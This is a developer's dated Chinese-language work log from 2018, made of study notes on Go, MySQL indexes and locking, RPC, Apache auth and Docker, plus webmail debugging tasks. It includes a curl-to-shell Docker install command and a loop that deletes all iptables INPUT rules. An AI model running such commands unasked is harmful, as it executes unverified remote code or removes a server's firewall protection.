1.REST是基于HTTP协议的一个补充,他的每一次请求都是一个HTTP请求,然后根据不同的method来处理不同的逻辑
2.SOAP是W3C在跨网络信息传递和远程计算机函数调用方面的一个标准。但是SOAP非常复杂
3.GO天生提供方便的RPC机制
4.有连接的流式Socket(SOCK_STREAM)TCP 和无连接数据报式Socket(SOCK_DGRAM)UDP
5.IPv4的地址位数为32位,也就是最多有2的32次方的网络设备可以联到Internet上,IPv6采用128位地址长度,几乎可以不受限制地提供地址
6.
==========================================================================
2018年5月17日 记录:
GO环境变量:
$GOROOT GO的安装目录;$GOPATH GO的源码目录
windows下载地址:
https://storage.googleapis.com/golang/go1.10.1.windows-amd64.msi
ide下载地址:
https://jaist.dl.sourceforge.net/project/liteide/x33.3/liteidex33.3.windows-qt5.6.3.zip
sublimeText安装插件:https://github.com/DisposaBoy/GoSublime,Preferences==>browse
竞争条件:
无论任何时候,只要有两个goroutine并发访问同一变量,且至少其中的一个是写操作的时候就会发生数据竞争。
练习 9.1: 给gopl.io/ch9/bank1程序添加一个Withdraw(amount int)取款函数。其返回结果应该要表明事务是成功了还是因为没有足够资金失败了。这条消息会被发送给monitor的goroutine,且消息需要包含取款的额度和一个新的channel,这个新channel会被monitor goroutine来把boolean结果发回给Withdraw。
允许多个只读操作并行执行,但写操作会完全互斥。这种锁叫作“多读单写”锁(multiple readers, single writer lock),Go语言提供的这样的锁是sync.RWMutex,“同步”不仅仅是一堆goroutine执行顺序的问题,同样也会涉及到内存和本地缓存的问题
==========================================================================
2018年5月16日 记录:
apache配置Directory目录权限:
#Options Indexes MultiViews #indexes允许目录浏览
#AllowOverride All #允许.htaccess覆盖
AllowOverride AuthConfig #身份认证
AuthName "login"
AuthUserFile /etc/apache2/.htpasswd
require valid-user
htpasswd -c /var/www/test/.htpasswd admin
连接管理:
1.每个客户端连接都会在服务器进程中拥有一个线程,这个连接的查询只会在这个单独的线程中执行,服务器会缓存线程,5.5及以上版本提供了API支持线程池,可以使用池中的少量线程来服务大量连接
2.线程池与连接池区别,连接池是指客户端,预先创建一定的连接,利用这些连接服务于客户端请求,如果连接超过时需要将连接排队
事务:
1.严格的ACID测试,原子性,一致性,隔离性,持久性
2.死锁是指两个或者多个事务在同一资源上相互占用,并请求锁定对方占用的资源,导致恶性循环,部分或者完全回滚其中一个事务才能打破死锁
索引和锁:
1.索引可以让查询锁定更少的行
2.索引可以在存储引擎层过滤掉不需要的行,从而减少在服务器层的锁定行数
3.服务器层查询行时候获取到排他锁,其他连接查询时会挂起
4.innodb在二级索引上使用共享锁,访问主键索引需要排他锁
rpc:
1.远程过程调用,两台服务器a,b,在a服务器上的应用
2.首先,要解决通讯的问题,主要是通过在客户端和服务器之间建立TCP连接
3.第二,要解决寻址的问题,也就是说,A服务器上的应用怎么告诉底层的RPC框架,如何连接到B服务器(如主机或IP地址)以及特定的端口,方法的名称名称是什么
4.第三,当A服务器上的应用发起远程过程调用时,方法的参数需要通过底层的网络协议如TCP传递到B服务器,由于网络协议是基于二进制的,内存中的参数的值要序列化成二进制的形式
5.第四,B服务器收到请求后,需要对参数进行反序列化(序列化的逆操作),恢复为内存中的表达方式,然后找到对应的方法(寻址的一部分)进行本地调用
6.第五,返回值还要发送回服务器A上的应用,也要经过序列化的方式发送,服务器A接到后,再反序列化,恢复为内存中的表达方式
==========================================================================
2018年5月15日 记录:
主键索引和唯一索引的区别:
1.主键创建后一定包含一个唯一性索引,唯一性索引并不一定就是主键
2.唯一索引允许空值,而主键列不允许为空值
3.一个表最多只能创建一个主键,但可以创建多个唯一索引
聚簇索引:不是一种单独的索引类型,是一种数据存储方式,在同一个结构中保存b树索引和数据行,一个
表只能有一个聚簇索引,innodb通过主键聚集数据,二级索引(非聚簇)需要两次索引查找,如果主键是一个随机的
例如uuid,性能就会很糟糕,主键尽量使用自增id.
覆盖索引:一个索引覆盖所有需要查询的字段的值,称为覆盖索引,对innodb表特别有用,查询时在explain的extra列可以看到using index,使用时也要符合最左前缀原则
索引扫描来做排序,explain后的type列是index,如果没有覆盖全部查询列,速度慢,只有当索引的列顺序和order by子句的顺序完全一致
并且所有列的排序顺序都一样,才能使用索引来做排序
==========================================================================
2018年5月14日 记录:
索引基础
1.mysql的索引工作类似一本书的目录部分,想找某个特定主题,先查找书的目录部分,找到对应的页码
2.ORM工具只能生成基本的合法的查询
3.索引是在存储引擎层实现的,不是服务器层
4.B-tree就是指的B树,多叉平衡查找树,很多存储引擎使用的b+树,降低磁盘I/O操作,将随机i/o变成顺序i/o
5.b树意味着所有的值是按顺序存储的,每个叶子页到根的距离相同,叶子页存储了指向下一个叶子页的指针
6.存储引擎不需要全表扫描,从索引的根节点开始进行搜索
7.b树索引还可以用于order by和group by 操作
8.只有memory引擎显式支持哈希索引,只支持等值比较=查询速度非常快
9.在b树基础上创造伪哈希索引,自定义个哈希函数加个字段存储,查询语句类似:select * from test where crc_32('haha') and content='haha'
10.三星评价系统:一星 索引将相关记录放一起;二星 数据顺序和查找顺序一致;三星 索引中包含了全部查询列
11.扩展:增加个元数据信息表,例如"哪个用户的信息存储在哪个表中"
高性能的使用索引策略
1.独立的列
2.前缀索引和索引选择性; 每个列的前几个字符 和 不重复的索引对总记录数的比值
尽量让这个前缀的选择性和完整列的选择性接近,选择性越高越好,这样索引会小点
select count(distinct name)/count(*) as sel from test
3.多列索引,注意是否出现索引合并现象
4.选择合适的索引列顺序
选择性高的字段放在前面
5.聚簇索引,innodb支持
6.覆盖索引,不需要回表
==========================================================================
2018年5月11日 记录:
两个表添加索引:
alter table group0 add index idx_user(user);
alter table contact_group0 add index idx_user(user);
AuthName "Login"
AuthType basic
AuthUserFile "basic_users.conf"
require valid-user
企邮web:
1.查找webmail数据库主从查询读写分离
2.webmail查找添加数据库索引问题
3.webmail迁移php7功能测试
4.特定浏览器webmail下载附件失败问题
5.webmail首页500错误问题查找
6.查找添加白名单问题
7.企管离职imap代收问题
企管:
企管离职管理项目二期上线
==========================================================================
2018年5月10日 记录:
header("Access-Control-Allow-Origin: *");//跨域header头
第九章:基于共享变量的并发
9.1.竞争条件
1.没有办法确认一个事件是在另一个事件的前面或者后面发生的话,说明x和y这两个事件是并发的
2.一个函数在并发的情况下,依然可以正常的工作,那么就说这个函数是并发安全的
3.竞争条件指的是程序在多个goroutine交叉执行的时候,没有给出正确的结果
4.只要有两个goroutine并发访问同一个变量,且至少其中的一个是写操作的时候就会发生数据竞争
5.避免数据竞争:不要写变量,避免从多个goroutine访问变量,使用channel来查询更新变量
==========================================================================
2018年5月9日 记录:
配置文件中,换成主从:
corpinfo
'dsn' => array(
有些特殊的查询,是指定的查询的主库:
Sina_Application::resource('corpinfo')->getConnection(Sina_Db_Adapter::MASTER)->prepare($strSql);
今天加的白名单问我为啥8号的邮件落垃圾夹,查找添加到白名单的:
==========================================================================
2018年5月8日 记录:
聊天服务:
1.让一些用户通过服务器向其他所有用户广播文本消息
2.程序中有四种goroutine,main broadcaster 每个客户端连接handleConn clientWriter
==========================================================================
2018年5月7日 记录:
find ./ -type f -name *sinamail.sina.net-access.log.0.gz|xargs zcat |grep "wa.php?a=add_contact"|wc -l
五月份添加联系人的个数:330
企邮登陆后主页面白屏:
1.mysql抛出的异常中,code字段不是整形
然后php的exception接受code只允许整形
2.当异常时,记录下当前执行的sql语句
==========================================================================
2018年5月4日 记录:
==========================================================================
2018年5月3日 记录:
图:由顶点的有穷非空集合和顶点之间的边集合组成,G(V,E)
==========================================================================
2018年5月2日 记录:
并发和并行的区别:
并发是两个队列交替使用一台咖啡机,并行是两个队列同时使用两台咖啡机,如果串行,一个队列使用一台咖啡机
操作系统中的堆栈与数据结构中的堆栈是两个概念:
1.堆区(heap)一般由程序员分配释放, 若程序员不释放,程序结束时可能由OS回收,通过malloc和new等动态申请的内存
2.栈区(stack)— 由编译器自动分配释放 ,存放函数的参数值,局部变量的值等。其操作方式类似于数据结构中的栈。
Goroutines和线程:
1.动态栈:
1)线程都有一个固定大小的内存块(一般会是2MB)来做栈
2)一个goroutine会以一个很小的栈开始其生命周期,一般只需要2KB,不是固定的;栈的大小会根据需要动态地伸缩
2.Goroutine调度:
1)线程是使用硬件定时器进行的调度,速度慢
2)Go是使用的自己的调度器,在线程的基础上调度,不需要进入内核的上下文
3.GOMAXPROCS环境变量可以确定启动多少线程同时执行go代码
4.goroutine没有可以被程序员获取到的身份(id)的概念
==========================================================================
2018年4月28日 记录:
Go语言圣经-实现接口的条件
1.那么关于interface{}类型,它没有任何方法,请讲出哪些具体的类型实现了它
2.interface{}被称为空接口类型,空接口类型对实现它的类型没有要求,所以我们可以将任意一个值赋给空接口类型
3.因为接口实现只依赖于判断的两个类型的方法,所以没有必要定义一个具体类型和它实现的接口之间的关系
Go语言圣经-channels
1.如果说goroutine是Go语言程序的并发体的话,那么channels则是它们之间的通信机制。
systemctl命令是系统服务管理器指令,它实际上将 service 和 chkconfig 这两个命令组合到一起。
http://man.linuxde.net/systemctl
systemctl enable httpd.service 使某服务自动启动
==========================================================================
2018年4月27日 记录:
下载附件失败问题:
在a标签加download属性后,跳转丢失cookie
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36"
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36"
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; Tablet PC 2.0; MARKANYEPS#25111; SMJB; printmade=3.0.0.8; Microsoft Outlook 14.0.7189; ms-office; MSOffice 14)"
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; MARKANYREPORT#25106; printmade=3.0.0.8; Microsoft Outlook 14.0.7197; ms-office; MSOffice 14)"
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; MARKANYREPORT#25106; printmade=3.0.0.8; Microsoft Outlook 14.0.7197; ms-office; MSOffice 14)"
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; MARKANYREPORT#25106; printmade=3.0.0.8; Microsoft Outlook 14.0.7197; ms-office; MSOffice 14)"
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; Microsoft Outlook 14.0.7197; ms-office; MSOffice 14)"
==========================================================================
2018年4月26日 记录:
S类型的结构体可以包含*S指针类型的成员,这可以让我们创建递归的数据结构,比如链表和树结构等
二叉树来实现一个插入排序:
type tree struct {}
func Sort(values []int) {}插入并且排好序
func add(t *tree, value int) *tree {}往树中增加元素
func appendValues(values []int, t *tree) []int {}按照树的顺序把树中的值,追加到一个slice中
PHP文件进行加密——ZendGuard加密与ZendLoader解密
Go语言圣经-接口类型
1.接口类型具体描述了一系列方法的集合,一个实现了这些方法的具体类型是这个接口类型的实例
2.有些新的接口类型通过组合已经有的接口来定义,和结构内嵌相似,接口内嵌
练习 7.4: strings.NewReader函数通过读取一个string参数返回一个满足io.Reader接口类型的值(和其它值)。实现一个简单版本的NewReader,并用它来构造一个接收字符串输入的HTML解析器(§5.2)
go语言隐藏式接口:
interface-数据解耦
鸭子理论-长得像我们就把它当做一样的好了
==========================================================================
2018年4月25日 记录:
获取模板列表
2.获取模板详情
从1开始数:
第12位: 用户是否开通IMAP(1是未开通,0是 开通状态)
第29位:web 登录 ( 1 是不允许登录)
su -s /bin/bash -c "ls" www
使用nologin用户运行程序
==========================================================================
2018年4月24日 记录:
我们看到的类型都是具体的类型。一个具体的类型可以准确的描述它所代表的值,并且展示出对类型本身的一些操作方式
2.Go语言中还存在着另外一种类型:接口类型。接口类型是一种抽象的类型,当你有看到一个接口类型的值时,你不知道它是什么,唯一知道的就是可以通过它的方法来做什么
3.一个类型可以自由的使用另一个满足相同接口的类型来进行替换被称作可替换性(LSP里氏替换)。这是一个面向对象的特征
读写分离:
if (strcasecmp($cmd, 'select') === 0) {
$conn = $this->getConnection(self::SLAVE);
} else {
$conn = $this->getConnection(self::MASTER);
}
特别提示: 报名所需证件
A、 身份证 B、一寸白底彩色照片6张露耳免冠照(近视需要带眼镜拍摄)C、外地身份证需要居住卡或居住证(3个月有效期)D、机动车驾驶员申请专项体检合格证明。
==========================================================================
2018年4月23日 记录:
Linux 发展出了另一种虚拟化技术:Linux 容器(Linux Containers,缩写为 LXC)
2.Linux 容器不是模拟一个完整的操作系统,而是对进程进行隔离
3.Docker 属于 Linux 容器的一种封装,提供简单易用的容器使用接口
4.Docker 是服务器----客户端架构。命令行运行docker命令的时候,需要本机有 Docker 服务
curl -sSL https://get.docker.com/ | sh
service docker start
5.Docker 把应用程序及其依赖,打包在 image 文件里面
6.容器实例,本身也是一个文件,称为容器文件
docker image pull 名称 //拉取image文件
docker image ls//列出所有image
docker image rm [imageName] //删除 image 文件
docker container run hello-world //运行image文件
docker container start [containID]//运行已经存在的容器
docker container kill [containID] //终止容器
docker container ls --all //列出所有容器,包括终止的
docker container rm [containID]//删除容器
hello-world:
1.docker run hello-world
2.没有这个image会自动拉取镜像,然后运行起来
在ubuntu的docker中运行ubuntu
1.docker container run -p 6666:80 -it dc86b7b90238 bash //端口映射外面的6666到内部的80
2.docker container exec -it 3ce8952ce68d bash //在运行的容器中执行命令,-i
在ubuntu的docker中运行centos
1.docker pull centos:6
2.给运行的容器映射本地端口
1)docker commit 6e54eac36507 centos_image1//提交运行中的容器为一个镜像
2)docker run -d -it -p 6667:80 centos_image1 /bin/bash //从新run新的镜像
制作自己的 Docker 容器
1. .dockerignore 忽略打包的文件
2. Dockerfile 文件
3. docker image build -t koa-demo . //创建image文件
4. docker container run -p 8000:3000 -it koa-demo /bin/bash //从image文件生成容器运行
容器的 3000 端口映射到本机的 8000 端口,-it参数 容器的 Shell 映射到当前的 Shell
==========================================================================
2018年4月20日 记录:
session的跨子域名问题:
ini_set('session.cookie_path', '/');
ini_set('session.cookie_domain', '.mydomain.com');
ini_set('session.cookie_lifetime', '1800');
Go语言圣经-通过嵌入结构体来扩展类型
1.Go语言提供的不同寻常的结构体嵌入机制让一个命名的结构体包含另一个结构体类型的匿名成员
2.对于类型的方法我们也有类似的用法,类似于继承,但是只继承了方法
Go语言圣经-方法值和方法表达式
1.p.Distance叫作“选择器”,选择器会返回一个方法"值"->一个将方法(Point.Distance)绑定到特定接收器变量的函数
2.当T是一个类型时,方法表达式可能会写作T.f或者(*T).f,会返回一个函数"值",这种函数会将其第一个参数用作接收器,所以可以用通常(译注:不写选择器)的方式来对其进行调用
3.看起来本书中函数和方法的区别是指有没有接收器,而不像其他语言那样是指有没有返回值。
Go语言圣经-示例: Bit数组
1.Go语言里的集合一般会用map[T]bool这种形式来表示,T代表元素类型
2.在数据流分析领域,集合元素通常是一个非负整数,集合会包含很多元素,并且集合会经常进行并集、交集操作,bit数组会比map表现更加理想
==========================================================================
2018年4月19日 记录:
企管离职管理获取代收imap信息内部接口
array_unshift头部添加元素
array_push尾部添加元素
一个操作如果多次任意执行所产生的影响(或者叫副作用),都是相同的。
1.调用方发起创建订单的请求,订单系统收到了,并成功创建订单了。但是由于系统原因或者网络原因等,没有及时告知调用方订单已经创建成功,调用方一直等待回复,直到超时了。调用方再次发起了创建订单的请求,这个时候就可能会生成多个订单。
2.使用一个唯一的流水号ID,用来标识是不是同一个请求或者交易。这种ID通常都需要具备全局唯一性。假设让客户端来生成这个ID,
1)先将这个ID保存到一个流水表里面,并且流水表中将这个ID设置为UNIQUE KEY,如果插入出现冲突了,则说明这个创建订单的请求已经处理过了,直接返回之前的操作结果。
2)万一调用方进行重试的时候,重新生成一个流水号,那就没得救了,会生成多个订单了。这个只能让客户端来保证了。
Go语言圣经-方法
1.OOP编程的两个关键点,封装和组合。
2.Go没有被大众所接受的明确的OOP的定义:一个对象其实也就是一个简单的值或者一个变量,在这个对象中会包含一些方法,而一个方法则是一个一个和特殊类型关联的函数
3.在函数声明时,在其名字之前放上一个变量,即是一个方法,这个附加的参数会将该函数附加到这种类型上,即相当于为这种类型定义了一个独占的方法。
4.我们并不会像其它语言那样用this或者self作为接收器;我们可以任意的选择接收器的名字。由于接收器的名字经常会被使用到
func (p Point) Distance(q Point) float64 {}
p.Distance(q) 方法调用
math.Hypot计算两点之间的距离
5.上面的代码里那个附加的参数p,叫做方法的接收器(receiver)
6.这种p.Distance的表达式叫做选择器,因为他会选择合适的对应p这个对象的Distance方法来执行
7.在能够给任意类型定义方法这一点上,Go和很多其它的面向对象的语言不太一样。因此在Go语言里,我们为一些简单的数值、字符串、slice、map来定义一些附加行为很方便
8.对于一个给定的类型,其内部的方法都必须有唯一的方法名,但是不同的类型却可以有同样的方法名
9.当我们在包外调用的时候这种好处就会被放大,因为我们可以使用这个短名字,而可以省略掉包的名字
==========================================================================
2018年4月18日 记录:
Go语言圣经-匿名函数-警告:捕获迭代变量
1.将介绍Go词法作用域的一个陷阱
在循环体中用循环变量d赋值一个新的局部变量,问题的原因在于循环变量的作用域
2.在该循环中生成的所有函数值都共享相同的循环变量
3.通常,为了解决这个问题,我们会引入一个与循环变量同名的局部变量,作为循环变量的副本。
Go语言圣经-可变参数
1.参数数量可变的函数称为为可变参数函数,例子就是fmt.Printf和类似函数
2.参数列表的最后一个参数类型之前加上省略符号“...”
3.虽然在可变参数函数内部,...int 型参数的行为看起来很像切片类型,但实际上,可变参数函数和以切片作为参数的函数是不同的
类型不同:fmt.Printf("%T\n", f)
4.函数名的后缀f是一种通用的命名规范,代表该可变参数函数可以接收Printf风格的格式化字符串
5.interfac{}表示函数的最后一个参数可以接收任意类型
Go语言圣经-Deferred函数
在调用普通函数或方法前加上关键字defer,就完成了defer所需要的语法。当defer语句被执行时,跟在defer后面的函数会被延迟执行
==========================================================================
2018年4月17日 记录:
Redis 哈希(Hash)
Redis hash 是一个string类型的field和value的映射表,hash特别适合用于存储对象。
Redis 中每个 hash 可以存储 232 - 1 键值对(40多亿)。
hget hset
QUIC(Quick UDP Internet Connection)是谷歌制定的一种基于UDP的低时延的互联网传输层协议
QUIC很好地解决了当今传输层和应用层面临的各种需求,包括处理更多的连接,安全性,和低延迟。QUIC融合了包括TCP,TLS,HTTP/2等协议的特性,但基于UDP传输。
404的网站被iptables防火墙拦了while [ 1 ] ;do iptables -D INPUT 1 ;done;
==========================================================================
2018年4月16日 记录:
date("Y-m-d",strtotime('Monday'));
date("Y-m-d",strtotime('Next Monday'));下周一
date("Y-m-d",strtotime('Last Monday'));上周一
Go语言圣经-错误
1.panic异常。panic是来自被调函数的信号,表示发生了某个已知的bug
2.任何进行I/O操作的函数都会面临出现错误的可能
3.错误是软件包API和应用程序用户界面的一个重要组成部分,程序运行失败仅被认为是几个预期的结果之一
4.那些将运行失败看作是预期结果的函数,它们会返回一个额外的返回值,通常是最后一个,来传递错误信息
5.用户需要了解更多的错误信息。因此,额外的返回值不再是简单的布尔类型,而是error类型
6.内置的error是接口类型,error类型可能是nil或者non-nil
7.对于non-nil的error类型,我们可以通过调用error的Error函数或者输出函数获得字符串类型的错误信息。
8.少部分函数在发生错误时,仍然会返回一些有用的返回值。比如,读取文件
9.函数运行失败时会返回错误信息,这些错误信息被认为是一种预期的值
10.Go使用控制流机制(如if和return)处理异常,这使得编码人员能更多的关注错误处理
11.错误处理策略:传播错误,构造新的错误信息返回给调用者fmt.Errorf("parsing %s as HTML: %v", url,err)
12.第二种策略。如果错误的发生是偶然性的,或由不可预知的问题导致的。一个明智的选择是重新尝试失败的操作,限制重试的时间间隔或重试的次数,for循环 sleep
13.第三种策略:输出错误信息并结束程序,fmt.Fprintf(os.Stderr, "Site is down: %v\n", err)==log.Fatalf()
14.第四种策略:有时,我们只需要输出错误信息就足够了,不需要中断程序的运行,log.Printf()
15.io包保证任何由文件结束引起的读取失败都返回同一个错误——io.EOF
Go语言圣经-函数值
1.函数被看作第一类值(first-class values):函数像其他值一样,拥有类型,可以被赋值给其他变量,传递给函数,从函数返回。对函数值(function value)的调用类似函数调用
2.函数值使得我们不仅仅可以通过数据来参数化函数,亦可通过行为,strings.Map对字符串中的每个字符调用add1函数
3.利用fmt.Printf的一个小技巧控制输出的缩进。%*s中的*会在字符串之前填充一些空格
练习 5.7: 完善startElement和endElement函数,使其成为通用的HTML输出器。要求:输出注释结点,文本结点以及每个元素的属性(< a href='...'>)。使用简略格式输出没有孩子结点的元素(即用代替)。编写测试,验证程序输出的格式正确。(详见11章)
表扩展字段:
alter table `tblz` add fidin int(10) unsigned NOT NULL DEFAULT '0' ;
alter table `tblz` add fidout int(10) unsigned NOT NULL DEFAULT '0' ;
exponential 指数 back-off 倒退
==========================================================================
2018年4月13日 记录:
Go语言圣经-文本和HTML模板
练习 4.14: 创建一个web服务器,查询一次GitHub,然后生成BUG报告、里程碑和对应的用户信息。
1.查看下文档godoc net/http |grep HandleFunc
func HandleFunc(pattern string, handler func(ResponseWriter, *Request))
2.godoc fmt|grep Fprintf
func Fprintf(w io.Writer, format string, a ...interface{}) (n int, err error)
3. var issueList = template.Must(template.New("issuelist").Parse(``)
issueList.Execute(w, result)
Go语言圣经-函数
1.函数可以让我们将一个语句序列打包为一个单元,然后可以从程序中其它地方多次调用
2.探索递归函数、匿名函数、错误处理和函数其它的很多特性
Go语言圣经-函数声明
1.函数声明包括函数名、形式参数列表、返回值列表(可省略)以及函数体
2.形式参数列表描述了函数的参数名以及参数类型
3.如果一组形参或返回值有相同的类型,我们不必为每个形参都写出参数类型
4.实参通过值的方式传递,因此函数的形参是实参的拷贝,如果实参包括引用类型,如指针,slice(切片)、map、function、channel等类型,实参可能会由于函数的间接引用被修改
Go语言圣经-函数递归
1.函数可以是递归的,这意味着函数可以直接或间接的调用自身
2.非标准包 golang.org/x/net/html ,解析HTML 被墙,直接下载github代码
3.固定大小栈会限制递归的深度,当你用递归处理大量数据时,需要避免栈溢出
Go语言圣经-Goroutines和Channels
1.并发程序指同时进行多个任务的程序,Web服务器会一次处理成千上万的请求,手机app在渲染用户画面同时还会后台执行各种计算任务和网络请求
2.Go语言中的并发程序可以用两种手段来实现:goroutine和channel支持“顺序通信进程”CSP ; 多线程共享内存
Go语言圣经-Goroutines
1.每一个并发的执行单元叫作一个goroutine
2.当一个程序启动时,其主函数即在一个单独的goroutine中运行,我们叫它main goroutine
3.go语句来创建新的goroutine,go f()
==========================================================================
2018年4月12日 记录:
Go语言圣经-Map
练习 4.8: 修改charcount程序,使用unicode.IsLetter等相关的函数,统计字母、数字等Unicode中不同的字符类别。
练习 4.9: 编写一个程序wordfreq程序,报告输入文本中每个单词出现的频率。在第一次调用Scan前先调用input.Split(bufio.ScanWords)函数,这样可以按单词而不是按行输入。
Go语言圣经-结构体
1.结构体是一种聚合的数据类型,是由零个或多个任意类型的值聚合成的实体
2.通常一行对应一个结构体成员,成员的名字在前类型在后,不过如果相邻的成员类型如果相同的话可以被合并到一行
3.如果结构体成员名字是以大写字母开头的,那么该成员就是导出的;这是Go语言导出规则决定的。一个结构体可能同时包含导出和未导出的成员。
4.一个命名为S的结构体类型将不能再包含S类型的成员:因为一个聚合的值不能包含它自身,S类型的结构体可以包含*S指针类型的成员
我们使用一个二叉树来实现一个插入排序:
5.结构体类型的零值是每个成员都是零值。通常会将零值作为最合理的默认值
6.结构体字面值,第一种要求以结构体成员定义的顺序为每个结构体成员指定一个字面值
第二种写法,以成员名字和相应的值来初始化,可以包含部分或全部的成员,更常用
7.企图隐式使用未导出成员的行为是不允许的
8.如果考虑效率的话,较大的结构体通常会用指针的方式传入和返回,函数中
9.如果要在函数内部修改结构体成员的话,用指针传入是必须的;因为在Go语言中,所有的函数参数都是值拷贝传入的,函数参数将不再是函数调用时的原始变量。
10.结构体比较,如果结构体的全部成员都是可以比较的,那么结构体也是可以比较的
11.可比较的结构体类型和其他可比较的类型一样,可以用于map的key类型。
12.结构体嵌入和匿名成员,让我们只声明一个成员对应的数据类型而不指名成员的名字;这类成员就叫匿名成员,得意于匿名嵌入的特性,我们可以直接访问叶子属性而不需要给出完整的路径:
13.结构体字面值并没有简短表示匿名成员的语法
14.Printf函数中%v参数包含的#副词,它表示用和Go语言类似的语法打印值。对于结构体类型来说,将包含每个成员的名字。
Go语言圣经-JSON
1.标准库中的encoding/json、encoding/xml、encoding/asn1等包提供支持
2.一个JSON数组可以用于编码Go语言的数组和slice
3.JSON的对象类型可以用于编码Go语言的map类型(key类型是字符串)和结构体
4.将一个Go语言中类似movies的结构体slice转为JSON的过程叫编组(marshaling)。编组通过调用json.Marshal函数完成,返还一个编码后的字节slice,包含很长的字符串
5.json.MarshalIndent函数将产生整齐缩进的输出,两个额外的字符串参数用于表示每一行输出的前缀和每一个层级的缩进
6.只有导出的结构体成员才会被编码,这也就是我们为什么选择用大写字母开头的成员名称
7.结构体的成员Tag可以是任意的字符串面值,但是通常是一系列用空格分隔的key:"value"键值对序列;因为值中含义双引号字符,因此成员Tag一般用原生字符串面值的形式书写
8.编码的逆操作是解码,对应将JSON数据解码为Go语言的数据结构,Go语言中一般叫unmarshaling,通过json.Unmarshal函数完成
9.用url.QueryEscape来对查询中的特殊字符进行转义操作。
10.使用了基于流式的解码器json.Decoder,它可以从一个输入流解码JSON数据,还有一个针对输出流的json.Encoder编码对象
练习 4.10: 修改issues程序,根据问题的时间进行分类,比如不到一个月的、不到一年的、超过一年。
练习 4.11: 编写一个工具,允许用户在命令行创建、读取、更新和关闭GitHub上的issue,当必要的时候自动打开用户默认的编辑器用于输入文本信息。
练习 4.12: 流行的web漫画服务xkcd也提供了JSON接口。例如,一个 https://xkcd.com/571/info.0.json 请求将返回一个很多人喜爱的571编号的详细描述。下载每个链接(只下载一次)然后创建一个离线索引。编写一个xkcd工具,使用这些离线索引,打印和命令行输入的检索词相匹配的漫画的URL。
练习 4.13: 使用开放电影数据库的JSON服务接口,允许你检索和下载 https://omdbapi.com/ 上电影的名字和对应的海报图像。编写一个poster工具,通过命令行输入的电影名字,下载对应的海报。
==========================================================================
2018年4月11日 记录:
导入邮箱地址返回当前成功导入的结果
go语言圣经-Slice切片
1.Slice(切片)代表变长的序列,序列中每个元素都有相同的类型,一个slice类型一般写作[]T,其中T代表slice中元素的类型;slice的语法和数组很像,只是没有固定长度而已,slice的底层确实引用一个数组对象
2.内置的len和cap函数分别返回slice的长度和容量
3.s[i:j] , 从第i个元素开始到第j-1个元素的子序列,s[:]切片操作则是引用整个数组
4.slice值包含指向第一个slice元素的指针,因此向函数传递slice将允许在函数内部修改底层数组的元素
5.将slice元素循环向左旋转n个元素的方法是三次调用reverse反转函数,第一次是反转开头的n个元素,然后是反转剩下的元素,最后是反转整个slice的元素。
6.slice之间不能比较,因此我们不能使用==操作符来判断两个slice是否含有全部相等元素,slice唯一合法的比较操作是和nil比较
7.可以用[]int(nil)类型转换表达式来生成一个对应类型slice的nil值
8.测试一个slice是否是空的,使用len(s) == 0来判断
9.make函数创建一个指定元素类型、长度和容量的slice , make([]T, len)
10.内置的append函数用于向slice追加元素
11.[]rune("Hello, 世界") 字符串转rune类型的slice
12.我们并不知道append调用是否导致了内存的重新分配,因此我们也不能确认新的slice和原始的slice是否引用的是相同的底层数组空间,通常是将append返回的结果直接赋值给输入的slice变量
13.函数参数中的最后的“...”省略号表示接收变长的参数为slice,func appendInt(x []int, y ...int) []int {}
14.报错invalid indirect of s[j] (type int) ,使用数组指针的时候(*s)[0]
15.Slice内存技巧,
练习 4.3: 重写reverse函数,使用数组指针代替slice。
练习 4.4: 编写一个rotate函数,通过一次循环完成旋转。
练习 4.5: 写一个函数在原地完成消除[]string中相邻重复的字符串的操作。
练习 4.6: 编写一个函数,原地将一个UTF-8编码的[]byte类型的slice中相邻的空格(参考unicode.IsSpace)替换成一个空格返回
练习 4.7: 修改reverse函数用于原地反转UTF-8编码的[]byte。是否可以不用分配额外的内存?
=========================================================================
2018年4月10日 记录:
go语言圣经-复数
1.我们把形如a+bi(a,b均为实数)的数称为复数,其中a称为实部,b称为虚部,i称为虚数单位。两种精度的复数类型:complex64和complex128,分别对应float32和float64两种浮点数精度
2.complex函数用于构建复数,real和imag函数分别返回复数的实部和虚部
go语言圣经-布尔型
1.布尔值可以和&&(AND)和||(OR)操作符结合,并且有短路行为
2.&&的优先级比||高
go语言圣经-字符串
1.一个字符串是一个不可改变的字节序列,文本字符串通常被解释为采用UTF8编码的Unicode码点(rune)序列
2.内置的len函数可以返回一个字符串中的字节数目,不是字符数目,对于非ASCII字符的UTF8编码会要两个或多个字节
3.+操作符将两个字符串链接构造一个新字符串
4.字符串值也可以用字符串面值方式编写,只要将一系列字节序列包含在双引号即可
5.原生的字符串面值形式是`...`,使用反引号代替双引号用于编写正则表达式,HTML模板、JSON面值、命令行提示信息会很方便
